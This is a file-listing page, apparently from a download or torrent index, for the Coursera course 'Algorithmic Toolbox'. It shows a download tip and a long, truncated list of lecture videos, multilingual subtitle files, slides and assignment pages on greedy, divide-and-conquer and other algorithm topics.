[CourseClub.ME] Coursera - Algorithmic Toolbox

mp4   Hot：44   Size：911.98 MB   Created：2022-04-28 12:00:59   Update：2023-07-27 12:09:15  

Download link

小提示：当迅雷提示“下载出错”或“无法下载”等字样时，并非资源有问题，请更换 bitcomet(比特彗星) 即可下载，或者使用迅雷5。

File List

  • 01_programming-challenges/01_welcome/01_welcome.ar.srt 6.33 KB
    01_programming-challenges/01_welcome/01_welcome.ar.txt 4.6 KB
    01_programming-challenges/01_welcome/01_welcome.bg.srt 7.68 KB
    01_programming-challenges/01_welcome/01_welcome.bg.txt 5.95 KB
    01_programming-challenges/01_welcome/01_welcome.en.srt 4.74 KB
    01_programming-challenges/01_welcome/01_welcome.en.txt 3.03 KB
    01_programming-challenges/01_welcome/01_welcome.es.srt 5.31 KB
    01_programming-challenges/01_welcome/01_welcome.es.txt 3.59 KB
    01_programming-challenges/01_welcome/01_welcome.ja.srt 6.68 KB
    01_programming-challenges/01_welcome/01_welcome.ja.txt 4.96 KB
    01_programming-challenges/01_welcome/01_welcome.mp4 8.88 MB
    01_programming-challenges/01_welcome/01_welcome.ru.srt 7.71 KB
    01_programming-challenges/01_welcome/01_welcome.ru.txt 5.98 KB
    01_programming-challenges/01_welcome/01_welcome.uk.srt 7.52 KB
    01_programming-challenges/01_welcome/01_welcome.uk.txt 5.8 KB
    01_programming-challenges/01_welcome/01_welcome.zh-CN.srt 4.04 KB
    01_programming-challenges/01_welcome/01_welcome.zh-CN.txt 2.33 KB
    01_programming-challenges/01_welcome/02_companion-moocbook_instructions.html 62.3 KB
    01_programming-challenges/01_welcome/03_what-background-knowledge-is-necessary_instructions.html 2.47 MB
    01_programming-challenges/02_programming-assignment-1-programming-challenges/01_programming-assignment-1-programming-challenges_instructions.html 1.64 KB
    01_programming-challenges/02_programming-assignment-1-programming-challenges/01_programming-assignment-1-programming-challenges_toolbox1805241005.zip 4.8 MB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/01_optional-videos-and-screencasts_instructions.html 1.27 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/02_solving-the-sum-of-two-digits-programming-challenges-screencast.ar.srt 8.87 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/02_solving-the-sum-of-two-digits-programming-challenges-screencast.ar.txt 6.21 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/02_solving-the-sum-of-two-digits-programming-challenges-screencast.en.srt 6.67 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/02_solving-the-sum-of-two-digits-programming-challenges-screencast.en.txt 4.02 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/02_solving-the-sum-of-two-digits-programming-challenges-screencast.es.srt 6.97 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/02_solving-the-sum-of-two-digits-programming-challenges-screencast.es.txt 4.32 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/02_solving-the-sum-of-two-digits-programming-challenges-screencast.ja.srt 8.48 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/02_solving-the-sum-of-two-digits-programming-challenges-screencast.ja.txt 5.84 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/02_solving-the-sum-of-two-digits-programming-challenges-screencast.mp4 9.35 MB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/02_solving-the-sum-of-two-digits-programming-challenges-screencast.ru.srt 10.08 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/02_solving-the-sum-of-two-digits-programming-challenges-screencast.ru.txt 7.43 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/02_solving-the-sum-of-two-digits-programming-challenges-screencast.uk.srt 9.77 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/02_solving-the-sum-of-two-digits-programming-challenges-screencast.uk.txt 7.13 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/02_solving-the-sum-of-two-digits-programming-challenges-screencast.zh-CN.srt 6.45 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/02_solving-the-sum-of-two-digits-programming-challenges-screencast.zh-CN.txt 3.81 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/03_solving-the-maximum-pairwise-product-programming-challenge-improving-the-naive.ar.srt 18.33 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/03_solving-the-maximum-pairwise-product-programming-challenge-improving-the-naive.ar.txt 12.57 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/03_solving-the-maximum-pairwise-product-programming-challenge-improving-the-naive.en.srt 14.2 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/03_solving-the-maximum-pairwise-product-programming-challenge-improving-the-naive.en.txt 8.46 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/03_solving-the-maximum-pairwise-product-programming-challenge-improving-the-naive.es.srt 14.86 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/03_solving-the-maximum-pairwise-product-programming-challenge-improving-the-naive.es.txt 9.12 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/03_solving-the-maximum-pairwise-product-programming-challenge-improving-the-naive.mp4 18.4 MB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/03_solving-the-maximum-pairwise-product-programming-challenge-improving-the-naive.zh-CN.srt 12.58 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/03_solving-the-maximum-pairwise-product-programming-challenge-improving-the-naive.zh-CN.txt 6.84 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/04_stress-test-implementation.en.srt 10.78 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/04_stress-test-implementation.en.txt 6.82 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/04_stress-test-implementation.mp4 11.94 MB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/05_stress-test-find-the-test-and-debug.ar.srt 11.94 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/05_stress-test-find-the-test-and-debug.ar.txt 8.44 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/05_stress-test-find-the-test-and-debug.en.srt 9.14 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/05_stress-test-find-the-test-and-debug.en.txt 5.66 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/05_stress-test-find-the-test-and-debug.es.srt 9.83 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/05_stress-test-find-the-test-and-debug.es.txt 6.35 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/05_stress-test-find-the-test-and-debug.mp4 10.33 MB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/06_stress-test-more-testing-submit-and-pass.en.srt 12.11 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/06_stress-test-more-testing-submit-and-pass.en.txt 7.47 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/06_stress-test-more-testing-submit-and-pass.es.srt 13.03 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/06_stress-test-more-testing-submit-and-pass.es.txt 8.38 KB
    01_programming-challenges/03_optional-solving-the-two-programming-challenges-in-c/06_stress-test-more-testing-submit-and-pass.mp4 59.69 MB
    01_programming-challenges/04_acknowledgements-optional/01_acknowledgements_instructions.html 3.11 KB
    02_algorithmic-warm-up/01_why-study-algorithms/01_why-study-algorithms.ar.srt 12.9 KB
    02_algorithmic-warm-up/01_why-study-algorithms/01_why-study-algorithms.ar.txt 8.75 KB
    02_algorithmic-warm-up/01_why-study-algorithms/01_why-study-algorithms.en.srt 11.19 KB
    02_algorithmic-warm-up/01_why-study-algorithms/01_why-study-algorithms.en.txt 7.06 KB
    02_algorithmic-warm-up/01_why-study-algorithms/01_why-study-algorithms.es.srt 11.18 KB
    02_algorithmic-warm-up/01_why-study-algorithms/01_why-study-algorithms.es.txt 7.05 KB
    02_algorithmic-warm-up/01_why-study-algorithms/01_why-study-algorithms.mp4 14.5 MB
    02_algorithmic-warm-up/01_why-study-algorithms/01_why-study-algorithms.ru.srt 16.14 KB
    02_algorithmic-warm-up/01_why-study-algorithms/01_why-study-algorithms.ru.txt 12.01 KB
    02_algorithmic-warm-up/01_why-study-algorithms/01_why-study-algorithms_1-intro-1-whystudyalgorithms.pdf 121.62 KB
    02_algorithmic-warm-up/01_why-study-algorithms/02_coming-up.en.srt 4.55 KB
    02_algorithmic-warm-up/01_why-study-algorithms/02_coming-up.en.txt 2.87 KB
    02_algorithmic-warm-up/01_why-study-algorithms/02_coming-up.es.srt 4.41 KB
    02_algorithmic-warm-up/01_why-study-algorithms/02_coming-up.es.txt 2.72 KB
    02_algorithmic-warm-up/01_why-study-algorithms/02_coming-up.ja.srt 5.68 KB
    02_algorithmic-warm-up/01_why-study-algorithms/02_coming-up.ja.txt 4 KB
    02_algorithmic-warm-up/01_why-study-algorithms/02_coming-up.mp4 5.9 MB
    02_algorithmic-warm-up/01_why-study-algorithms/02_coming-up.zh-CN.srt 3.83 KB
    02_algorithmic-warm-up/01_why-study-algorithms/02_coming-up.zh-CN.txt 2.14 KB
    02_algorithmic-warm-up/01_why-study-algorithms/02_coming-up_1-intro-1-2-comingup.pdf 78.8 KB
    02_algorithmic-warm-up/02_fibonacci-numbers/01_problem-overview.en.srt 4.87 KB
    02_algorithmic-warm-up/02_fibonacci-numbers/01_problem-overview.en.txt 2.92 KB
    02_algorithmic-warm-up/02_fibonacci-numbers/01_problem-overview.es.srt 3.81 KB
    02_algorithmic-warm-up/02_fibonacci-numbers/01_problem-overview.es.txt 2.46 KB
    02_algorithmic-warm-up/02_fibonacci-numbers/01_problem-overview.mp4 5.61 MB
    02_algorithmic-warm-up/02_fibonacci-numbers/01_problem-overview.ru.srt 5.82 KB
    02_algorithmic-warm-up/02_fibonacci-numbers/01_problem-overview.ru.txt 4.47 KB
    02_algorithmic-warm-up/02_fibonacci-numbers/01_problem-overview.zh-CN.srt 3.55 KB
    02_algorithmic-warm-up/02_fibonacci-numbers/01_problem-overview.zh-CN.txt 2.2 KB
    02_algorithmic-warm-up/02_fibonacci-numbers/01_problem-overview_1-intro-2-fibonaccinumbers.pdf 280.54 KB
    02_algorithmic-warm-up/02_fibonacci-numbers/02_naive-algorithm.en.srt 7.92 KB
    02_algorithmic-warm-up/02_fibonacci-numbers/02_naive-algorithm.en.txt 4.91 KB
    02_algorithmic-warm-up/02_fibonacci-numbers/02_naive-algorithm.es.srt 8.16 KB
    02_algorithmic-warm-up/02_fibonacci-numbers/02_naive-algorithm.es.txt 5.14 KB
    02_algorithmic-warm-up/02_fibonacci-numbers/02_naive-algorithm.mp4 8.19 MB
    02_algorithmic-warm-up/02_fibonacci-numbers/02_naive-algorithm_1-intro-2-fibonaccinumbers1.pdf 164.57 KB
    02_algorithmic-warm-up/02_fibonacci-numbers/03_efficient-algorithm.en.srt 5.85 KB
    02_algorithmic-warm-up/02_fibonacci-numbers/03_efficient-algorithm.en.txt 3.73 KB
    02_algorithmic-warm-up/02_fibonacci-numbers/03_efficient-algorithm.es.srt 7.73 KB
    02_algorithmic-warm-up/02_fibonacci-numbers/03_efficient-algorithm.es.txt 4.95 KB
    02_algorithmic-warm-up/02_fibonacci-numbers/03_efficient-algorithm.mp4 6.51 MB
    02_algorithmic-warm-up/02_fibonacci-numbers/03_efficient-algorithm_01_intro_2_fibonaccinumbers3.pdf 203.97 KB
    02_algorithmic-warm-up/02_fibonacci-numbers/04_resources_DPFib.html 2.72 KB
    02_algorithmic-warm-up/02_fibonacci-numbers/04_resources_instructions.html 2.9 KB
    02_algorithmic-warm-up/03_greatest-common-divisor/01_problem-overview-and-naive-algorithm.en.srt 5.79 KB
    02_algorithmic-warm-up/03_greatest-common-divisor/01_problem-overview-and-naive-algorithm.en.txt 3.54 KB
    02_algorithmic-warm-up/03_greatest-common-divisor/01_problem-overview-and-naive-algorithm.es.srt 5.77 KB
    02_algorithmic-warm-up/03_greatest-common-divisor/01_problem-overview-and-naive-algorithm.es.txt 3.52 KB
    02_algorithmic-warm-up/03_greatest-common-divisor/01_problem-overview-and-naive-algorithm.mp4 6.54 MB
    02_algorithmic-warm-up/03_greatest-common-divisor/01_problem-overview-and-naive-algorithm.ru.srt 8.06 KB
    02_algorithmic-warm-up/03_greatest-common-divisor/01_problem-overview-and-naive-algorithm.ru.txt 5.81 KB
    02_algorithmic-warm-up/03_greatest-common-divisor/01_problem-overview-and-naive-algorithm_1-intro-3-GCD1.pdf 371.71 KB
    02_algorithmic-warm-up/03_greatest-common-divisor/02_efficient-algorithm.en.srt 7.55 KB
    02_algorithmic-warm-up/03_greatest-common-divisor/02_efficient-algorithm.en.txt 4.77 KB
    02_algorithmic-warm-up/03_greatest-common-divisor/02_efficient-algorithm.es.srt 7.73 KB
    02_algorithmic-warm-up/03_greatest-common-divisor/02_efficient-algorithm.es.txt 4.95 KB
    02_algorithmic-warm-up/03_greatest-common-divisor/02_efficient-algorithm.mp4 8.64 MB
    02_algorithmic-warm-up/03_greatest-common-divisor/02_efficient-algorithm_1-intro-3-GCD2.pdf 160.8 KB
    02_algorithmic-warm-up/03_greatest-common-divisor/03_resources_instructions.html 1.83 KB
    02_algorithmic-warm-up/04_big-o-notation/01_computing-runtimes.en.srt 14.19 KB
    02_algorithmic-warm-up/04_big-o-notation/01_computing-runtimes.en.txt 9 KB
    02_algorithmic-warm-up/04_big-o-notation/01_computing-runtimes.es.srt 14.51 KB
    02_algorithmic-warm-up/04_big-o-notation/01_computing-runtimes.es.txt 9.31 KB
    02_algorithmic-warm-up/04_big-o-notation/01_computing-runtimes.mp4 17.9 MB
    02_algorithmic-warm-up/04_big-o-notation/01_computing-runtimes_1-intro-4-1-runtimes.pdf 3.61 MB
    02_algorithmic-warm-up/04_big-o-notation/02_asymptotic-notation.en.srt 9.71 KB
    02_algorithmic-warm-up/04_big-o-notation/02_asymptotic-notation.en.txt 6.13 KB
    02_algorithmic-warm-up/04_big-o-notation/02_asymptotic-notation.es.srt 9.74 KB
    02_algorithmic-warm-up/04_big-o-notation/02_asymptotic-notation.es.txt 6.16 KB
    02_algorithmic-warm-up/04_big-o-notation/02_asymptotic-notation.mn.srt 9.76 KB
    02_algorithmic-warm-up/04_big-o-notation/02_asymptotic-notation.mn.txt 6.17 KB
    02_algorithmic-warm-up/04_big-o-notation/02_asymptotic-notation.mp4 13.25 MB
    02_algorithmic-warm-up/04_big-o-notation/02_asymptotic-notation.ro.srt 9.74 KB
    02_algorithmic-warm-up/04_big-o-notation/02_asymptotic-notation.ro.txt 6.15 KB
    02_algorithmic-warm-up/04_big-o-notation/02_asymptotic-notation.sv.srt 9.74 KB
    02_algorithmic-warm-up/04_big-o-notation/02_asymptotic-notation.sv.txt 6.16 KB
    02_algorithmic-warm-up/04_big-o-notation/02_asymptotic-notation.ta.srt 9.74 KB
    02_algorithmic-warm-up/04_big-o-notation/02_asymptotic-notation.ta.txt 6.16 KB
    02_algorithmic-warm-up/04_big-o-notation/02_asymptotic-notation.te.srt 9.76 KB
    02_algorithmic-warm-up/04_big-o-notation/02_asymptotic-notation.te.txt 6.18 KB
    02_algorithmic-warm-up/04_big-o-notation/02_asymptotic-notation_1-intro-4-2-asymptoticnotation1.pdf 171.38 KB
    02_algorithmic-warm-up/04_big-o-notation/03_big-o-notation.en.srt 10.03 KB
    02_algorithmic-warm-up/04_big-o-notation/03_big-o-notation.en.txt 6.24 KB
    02_algorithmic-warm-up/04_big-o-notation/03_big-o-notation.es.srt 10.06 KB
    02_algorithmic-warm-up/04_big-o-notation/03_big-o-notation.es.txt 6.27 KB
    02_algorithmic-warm-up/04_big-o-notation/03_big-o-notation.mp4 14.81 MB
    02_algorithmic-warm-up/04_big-o-notation/03_big-o-notation.ru.srt 15.62 KB
    02_algorithmic-warm-up/04_big-o-notation/03_big-o-notation.ru.txt 11.82 KB
    02_algorithmic-warm-up/04_big-o-notation/03_big-o-notation_1-intro-4-2-asymptoticnotation2.pdf 179.23 KB
    02_algorithmic-warm-up/04_big-o-notation/04_using-big-o.en.srt 14.72 KB
    02_algorithmic-warm-up/04_big-o-notation/04_using-big-o.en.txt 9.05 KB
    02_algorithmic-warm-up/04_big-o-notation/04_using-big-o.es.srt 14.9 KB
    02_algorithmic-warm-up/04_big-o-notation/04_using-big-o.es.txt 9.23 KB
    02_algorithmic-warm-up/04_big-o-notation/04_using-big-o.mp4 17.61 MB
    02_algorithmic-warm-up/04_big-o-notation/04_using-big-o_1-intro-4-2-asymptoticnotation3.pdf 190.76 KB
    02_algorithmic-warm-up/04_big-o-notation/05_resources_instructions.html 1.89 KB
    02_algorithmic-warm-up/05_course-overview/01_course-overview.en.srt 15.61 KB
    02_algorithmic-warm-up/05_course-overview/01_course-overview.en.txt 9.87 KB
    02_algorithmic-warm-up/05_course-overview/01_course-overview.mp4 18.93 MB
    02_algorithmic-warm-up/05_course-overview/01_course-overview_1-intro-5-courseoverview.pdf 123.25 KB
    02_algorithmic-warm-up/06_programming-assignment-2/01_programming-assignment-2-algorithmic-warm-up_instructions.html 2.36 KB
    03_greedy-algorithms/01_introduction/01_largest-number.en.srt 3.52 KB
    03_greedy-algorithms/01_introduction/01_largest-number.en.txt 2.2 KB
    03_greedy-algorithms/01_introduction/01_largest-number.es.srt 3.68 KB
    03_greedy-algorithms/01_introduction/01_largest-number.es.txt 2.36 KB
    03_greedy-algorithms/01_introduction/01_largest-number.fr.srt 3.74 KB
    03_greedy-algorithms/01_introduction/01_largest-number.fr.txt 2.42 KB
    03_greedy-algorithms/01_introduction/01_largest-number.ja.srt 4.24 KB
    03_greedy-algorithms/01_introduction/01_largest-number.ja.txt 2.93 KB
    03_greedy-algorithms/01_introduction/01_largest-number.mp4 4.01 MB
    03_greedy-algorithms/01_introduction/01_largest-number.ru.srt 5.01 KB
    03_greedy-algorithms/01_introduction/01_largest-number.ru.txt 3.7 KB
    03_greedy-algorithms/01_introduction/01_largest-number.vi.srt 4.5 KB
    03_greedy-algorithms/01_introduction/01_largest-number.vi.txt 3.18 KB
    03_greedy-algorithms/01_introduction/01_largest-number.zh-CN.srt 3.08 KB
    03_greedy-algorithms/01_introduction/01_largest-number.zh-CN.txt 1.76 KB
    03_greedy-algorithms/01_introduction/01_largest-number_2-greedy-1-intro.pdf 1.48 MB
    03_greedy-algorithms/01_introduction/02_car-fueling.en.srt 10.08 KB
    03_greedy-algorithms/01_introduction/02_car-fueling.en.txt 6.32 KB
    03_greedy-algorithms/01_introduction/02_car-fueling.es.srt 10.31 KB
    03_greedy-algorithms/01_introduction/02_car-fueling.es.txt 6.55 KB
    03_greedy-algorithms/01_introduction/02_car-fueling.mp4 9.85 MB
    03_greedy-algorithms/01_introduction/03_car-fueling-implementation-and-analysis.en.srt 11.92 KB
    03_greedy-algorithms/01_introduction/03_car-fueling-implementation-and-analysis.en.txt 7.38 KB
    03_greedy-algorithms/01_introduction/03_car-fueling-implementation-and-analysis.es.srt 12.14 KB
    03_greedy-algorithms/01_introduction/03_car-fueling-implementation-and-analysis.es.txt 7.6 KB
    03_greedy-algorithms/01_introduction/03_car-fueling-implementation-and-analysis.mp4 18.46 MB
    03_greedy-algorithms/01_introduction/04_main-ingredients-of-greedy-algorithms.en.srt 3.52 KB
    03_greedy-algorithms/01_introduction/04_main-ingredients-of-greedy-algorithms.en.txt 2.23 KB
    03_greedy-algorithms/01_introduction/04_main-ingredients-of-greedy-algorithms.es.srt 3.64 KB
    03_greedy-algorithms/01_introduction/04_main-ingredients-of-greedy-algorithms.es.txt 2.35 KB
    03_greedy-algorithms/01_introduction/04_main-ingredients-of-greedy-algorithms.mp4 4.64 MB
    03_greedy-algorithms/02_grouping-children/01_celebration-party-problem.en.srt 9.1 KB
    03_greedy-algorithms/02_grouping-children/01_celebration-party-problem.en.txt 5.79 KB
    03_greedy-algorithms/02_grouping-children/01_celebration-party-problem.es.srt 9.19 KB
    03_greedy-algorithms/02_grouping-children/01_celebration-party-problem.es.txt 5.88 KB
    03_greedy-algorithms/02_grouping-children/01_celebration-party-problem.mp4 8.94 MB
    03_greedy-algorithms/02_grouping-children/01_celebration-party-problem_2-greedy-2-groupingchildren.pdf 388.41 KB
    03_greedy-algorithms/02_grouping-children/02_efficient-algorithm-for-grouping-children.en.srt 6.64 KB
    03_greedy-algorithms/02_grouping-children/02_efficient-algorithm-for-grouping-children.en.txt 4.23 KB
    03_greedy-algorithms/02_grouping-children/02_efficient-algorithm-for-grouping-children.es.srt 6.99 KB
    03_greedy-algorithms/02_grouping-children/02_efficient-algorithm-for-grouping-children.es.txt 4.58 KB
    03_greedy-algorithms/02_grouping-children/02_efficient-algorithm-for-grouping-children.mp4 7.62 MB
    03_greedy-algorithms/02_grouping-children/03_analysis-and-implementation-of-the-efficient-algorithm.en.srt 6.89 KB
    03_greedy-algorithms/02_grouping-children/03_analysis-and-implementation-of-the-efficient-algorithm.en.txt 4.31 KB
    03_greedy-algorithms/02_grouping-children/03_analysis-and-implementation-of-the-efficient-algorithm.es.srt 7.29 KB
    03_greedy-algorithms/02_grouping-children/03_analysis-and-implementation-of-the-efficient-algorithm.es.txt 4.71 KB
    03_greedy-algorithms/02_grouping-children/03_analysis-and-implementation-of-the-efficient-algorithm.mp4 7.93 MB
    03_greedy-algorithms/03_fractional-knapsack/01_long-hike.en.srt 7.98 KB
    03_greedy-algorithms/03_fractional-knapsack/01_long-hike.en.txt 4.93 KB
    03_greedy-algorithms/03_fractional-knapsack/01_long-hike.es.srt 8.12 KB
    03_greedy-algorithms/03_fractional-knapsack/01_long-hike.es.txt 5.08 KB
    03_greedy-algorithms/03_fractional-knapsack/01_long-hike.mp4 8.79 MB
    03_greedy-algorithms/03_fractional-knapsack/01_long-hike.zh-CN.srt 7.77 KB
    03_greedy-algorithms/03_fractional-knapsack/01_long-hike.zh-CN.txt 4.71 KB
    03_greedy-algorithms/03_fractional-knapsack/01_long-hike_2-greedy-3-fractionalknapsack.pdf 297.76 KB
    03_greedy-algorithms/03_fractional-knapsack/02_fractional-knapsack-implementation-analysis-and-optimization.en.srt 8.06 KB
    03_greedy-algorithms/03_fractional-knapsack/02_fractional-knapsack-implementation-analysis-and-optimization.en.txt 5.08 KB
    03_greedy-algorithms/03_fractional-knapsack/02_fractional-knapsack-implementation-analysis-and-optimization.es.srt 8.58 KB
    03_greedy-algorithms/03_fractional-knapsack/02_fractional-knapsack-implementation-analysis-and-optimization.es.txt 5.6 KB
    03_greedy-algorithms/03_fractional-knapsack/02_fractional-knapsack-implementation-analysis-and-optimization.mp4 9.44 MB
    03_greedy-algorithms/03_fractional-knapsack/03_review-of-greedy-algorithms.en.srt 3.71 KB
    03_greedy-algorithms/03_fractional-knapsack/03_review-of-greedy-algorithms.en.txt 2.32 KB
    03_greedy-algorithms/03_fractional-knapsack/03_review-of-greedy-algorithms.mp4 4.95 MB
    03_greedy-algorithms/03_fractional-knapsack/03_review-of-greedy-algorithms_2-greedy-4-review.pdf 61.69 KB
    03_greedy-algorithms/03_fractional-knapsack/04_resources_instructions.html 1.28 KB
    03_greedy-algorithms/04_programming-assignment-3/01_programming-assignment-3-greedy-algorithms_instructions.html 1.41 KB
    04_divide-and-conquer/01_introduction/01_intro.en.srt 4.96 KB
    04_divide-and-conquer/01_introduction/01_intro.en.txt 3.14 KB
    04_divide-and-conquer/01_introduction/01_intro.es.srt 5.22 KB
    04_divide-and-conquer/01_introduction/01_intro.es.txt 3.41 KB
    04_divide-and-conquer/01_introduction/01_intro.mp4 5.59 MB
    04_divide-and-conquer/01_introduction/01_intro.ru.srt 7.82 KB
    04_divide-and-conquer/01_introduction/01_intro.ru.txt 5.98 KB
    04_divide-and-conquer/01_introduction/01_intro_3-divideandconquer-1-searcharray.pdf 3.13 MB
    04_divide-and-conquer/01_introduction/02_linear-search.de.srt 11.58 KB
    04_divide-and-conquer/01_introduction/02_linear-search.de.txt 7.28 KB
    04_divide-and-conquer/01_introduction/02_linear-search.en.srt 11.62 KB
    04_divide-and-conquer/01_introduction/02_linear-search.en.txt 7.32 KB
    04_divide-and-conquer/01_introduction/02_linear-search.es.srt 12.24 KB
    04_divide-and-conquer/01_introduction/02_linear-search.es.txt 7.94 KB
    04_divide-and-conquer/01_introduction/02_linear-search.lt.srt 11.58 KB
    04_divide-and-conquer/01_introduction/02_linear-search.lt.txt 7.28 KB
    04_divide-and-conquer/01_introduction/02_linear-search.mp4 11.72 MB
    04_divide-and-conquer/01_introduction/02_linear-search.sk.srt 11.58 KB
    04_divide-and-conquer/01_introduction/02_linear-search.sk.txt 7.28 KB
    04_divide-and-conquer/01_introduction/02_linear-search.ta.srt 11.58 KB
    04_divide-and-conquer/01_introduction/02_linear-search.ta.txt 7.28 KB
    04_divide-and-conquer/01_introduction/02_linear-search.th.srt 11.58 KB
    04_divide-and-conquer/01_introduction/02_linear-search.th.txt 7.28 KB
    04_divide-and-conquer/01_introduction/03_binary-search.en.srt 10.22 KB
    04_divide-and-conquer/01_introduction/03_binary-search.en.txt 6.23 KB
    04_divide-and-conquer/01_introduction/03_binary-search.es.srt 10.4 KB
    04_divide-and-conquer/01_introduction/03_binary-search.es.txt 6.4 KB
    04_divide-and-conquer/01_introduction/03_binary-search.mp4 12.13 MB
    04_divide-and-conquer/01_introduction/03_binary-search.ru.srt 14.8 KB
    04_divide-and-conquer/01_introduction/03_binary-search.ru.txt 10.81 KB
    04_divide-and-conquer/01_introduction/04_binary-search-runtime.en.srt 12.14 KB
    04_divide-and-conquer/01_introduction/04_binary-search-runtime.en.txt 7.46 KB
    04_divide-and-conquer/01_introduction/04_binary-search-runtime.es.srt 12.54 KB
    04_divide-and-conquer/01_introduction/04_binary-search-runtime.es.txt 7.85 KB
    04_divide-and-conquer/01_introduction/04_binary-search-runtime.mp4 15.48 MB
    04_divide-and-conquer/01_introduction/04_binary-search-runtime.ru.srt 18.65 KB
    04_divide-and-conquer/01_introduction/04_binary-search-runtime.ru.txt 13.97 KB
    04_divide-and-conquer/01_introduction/05_resources_instructions.html 1.33 KB
    04_divide-and-conquer/02_polynomial-multiplication/01_problem-overview-and-naive-solution.en.srt 8.3 KB
    04_divide-and-conquer/02_polynomial-multiplication/01_problem-overview-and-naive-solution.en.txt 5.05 KB
    04_divide-and-conquer/02_polynomial-multiplication/01_problem-overview-and-naive-solution.es.srt 7.84 KB
    04_divide-and-conquer/02_polynomial-multiplication/01_problem-overview-and-naive-solution.es.txt 4.6 KB
    04_divide-and-conquer/02_polynomial-multiplication/01_problem-overview-and-naive-solution.mn.srt 8.36 KB
    04_divide-and-conquer/02_polynomial-multiplication/01_problem-overview-and-naive-solution.mn.txt 5.11 KB
    04_divide-and-conquer/02_polynomial-multiplication/01_problem-overview-and-naive-solution.mp4 11.26 MB
    04_divide-and-conquer/02_polynomial-multiplication/01_problem-overview-and-naive-solution.sv.srt 8.32 KB
    04_divide-and-conquer/02_polynomial-multiplication/01_problem-overview-and-naive-solution.sv.txt 5.07 KB
    04_divide-and-conquer/02_polynomial-multiplication/01_problem-overview-and-naive-solution.ta.srt 8.38 KB
    04_divide-and-conquer/02_polynomial-multiplication/01_problem-overview-and-naive-solution.ta.txt 5.14 KB
    04_divide-and-conquer/02_polynomial-multiplication/01_problem-overview-and-naive-solution_3-divideandconquer-2-karatsuba.pdf 443 KB
    04_divide-and-conquer/02_polynomial-multiplication/02_naive-divide-and-conquer-algorithm.en.srt 9.22 KB
    04_divide-and-conquer/02_polynomial-multiplication/02_naive-divide-and-conquer-algorithm.en.txt 5.6 KB
    04_divide-and-conquer/02_polynomial-multiplication/02_naive-divide-and-conquer-algorithm.mp4 11.57 MB
    04_divide-and-conquer/02_polynomial-multiplication/03_faster-divide-and-conquer-algorithm.en.srt 9.06 KB
    04_divide-and-conquer/02_polynomial-multiplication/03_faster-divide-and-conquer-algorithm.en.txt 5.34 KB
    04_divide-and-conquer/02_polynomial-multiplication/03_faster-divide-and-conquer-algorithm.es.srt 8.73 KB
    04_divide-and-conquer/02_polynomial-multiplication/03_faster-divide-and-conquer-algorithm.es.txt 5.01 KB
    04_divide-and-conquer/02_polynomial-multiplication/03_faster-divide-and-conquer-algorithm.mp4 10.17 MB
    04_divide-and-conquer/02_polynomial-multiplication/04_resources_instructions.html 1.34 KB
    04_divide-and-conquer/03_master-theorem/01_what-is-the-master-theorem.en.srt 6.64 KB
    04_divide-and-conquer/03_master-theorem/01_what-is-the-master-theorem.en.txt 4.03 KB
    04_divide-and-conquer/03_master-theorem/01_what-is-the-master-theorem.es.srt 6.66 KB
    04_divide-and-conquer/03_master-theorem/01_what-is-the-master-theorem.es.txt 4.04 KB
    04_divide-and-conquer/03_master-theorem/01_what-is-the-master-theorem.mp4 7.45 MB
    04_divide-and-conquer/03_master-theorem/01_what-is-the-master-theorem_3-divideandconquer-3-mastertheorem.pdf 265.7 KB
    04_divide-and-conquer/03_master-theorem/02_proof-of-the-master-theorem.en.srt 12.74 KB
    04_divide-and-conquer/03_master-theorem/02_proof-of-the-master-theorem.en.txt 7.82 KB
    04_divide-and-conquer/03_master-theorem/02_proof-of-the-master-theorem.es.srt 12.48 KB
    04_divide-and-conquer/03_master-theorem/02_proof-of-the-master-theorem.es.txt 7.56 KB
    04_divide-and-conquer/03_master-theorem/02_proof-of-the-master-theorem.mp4 14.42 MB
    04_divide-and-conquer/03_master-theorem/03_resources_instructions.html 1.33 KB
    04_divide-and-conquer/04_sorting-problem/01_problem-overview.en.srt 3.71 KB
